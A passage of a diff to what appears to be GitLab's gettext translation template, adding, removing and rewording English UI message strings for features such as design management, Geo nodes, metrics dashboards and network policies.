+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -7900,6 +8213,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -7918,6 +8234,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -7956,8 +8275,8 @@ msgid_plural "Depends on %d merge requests being merged"
msgstr[0] ""
msgstr[1] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgstr[1] ""
@@ -8002,7 +8321,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8236,13 +8555,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8275,15 +8603,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8365,7 +8684,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8374,6 +8696,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8386,7 +8711,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8491,9 +8819,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8508,7 +8833,7 @@ msgid_plural "Dismiss %d selected vulnerabilities as"
msgstr[0] ""
msgstr[1] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8760,9 +9085,6 @@ msgstr ""
msgid "Edit comment"
msgstr ""
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -9051,9 +9373,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9222,6 +9541,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9246,7 +9568,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9525,6 +9847,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -9852,7 +10177,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -9873,6 +10198,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -9882,9 +10210,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -9897,9 +10222,6 @@ msgstr ""
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -9909,9 +10231,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -9924,9 +10243,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10358,12 +10674,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10448,6 +10770,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10457,9 +10782,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10499,6 +10821,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10724,6 +11049,9 @@ msgstr ""
msgid "Footer message"
msgstr ""
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -10895,30 +11223,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr ""
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr ""
-msgid "GeoNodes|Failed"
-msgstr ""
-
msgid "GeoNodes|Full"
msgstr ""
@@ -10934,12 +11247,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -10967,12 +11274,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -10994,15 +11295,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr ""
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -11030,27 +11322,12 @@ msgstr ""
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr ""
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -11063,6 +11340,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11126,6 +11409,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11258,10 +11547,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11438,7 +11727,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11555,7 +11844,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -11837,6 +12129,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12113,7 +12408,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12326,6 +12621,9 @@ msgstr ""
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12341,6 +12639,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr ""
@@ -12471,6 +12772,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12627,6 +12931,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12780,6 +13090,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -12795,6 +13108,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -12807,13 +13123,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -12822,21 +13138,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -12849,6 +13168,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -12867,6 +13189,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -12942,6 +13267,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -13008,6 +13336,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -13022,7 +13353,7 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -13049,6 +13380,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -13061,13 +13398,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13097,7 +13431,7 @@ msgstr ""
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13109,9 +13443,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13208,6 +13548,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13247,6 +13620,9 @@ msgstr ""
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr ""
@@ -13346,9 +13722,6 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13490,6 +13863,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13532,6 +13908,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13547,6 +13926,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -13835,7 +14217,7 @@ msgstr ""
msgid "Labels can be applied to issues and merge requests."
msgstr ""
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
msgstr ""
msgid "Labels|Promote Label"
@@ -14065,7 +14447,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14164,10 +14546,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14194,6 +14576,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14257,9 +14642,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14275,9 +14657,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14331,6 +14710,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14352,6 +14734,9 @@ msgstr ""
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14403,7 +14788,7 @@ msgstr ""
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14454,6 +14839,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14469,6 +14860,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14553,9 +14947,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14667,9 +15058,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -14805,6 +15193,15 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -14814,9 +15211,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -14844,15 +15238,15 @@ msgstr ""
msgid "Merge Requests"
msgstr ""
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr ""
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -14868,6 +15262,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -14931,6 +15328,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15063,6 +15481,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr ""
@@ -15165,6 +15589,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15174,9 +15604,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr ""
@@ -15210,9 +15637,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15224,9 +15657,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15254,6 +15684,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15278,6 +15711,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15356,6 +15792,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
@@ -15406,12 +15845,18 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
msgid "Milestone lists show all issues from the selected milestone."
msgstr ""
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15577,6 +16022,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15622,6 +16076,9 @@ msgstr ""
msgid "Monitoring"
msgstr ""
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr ""
@@ -15811,12 +16268,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
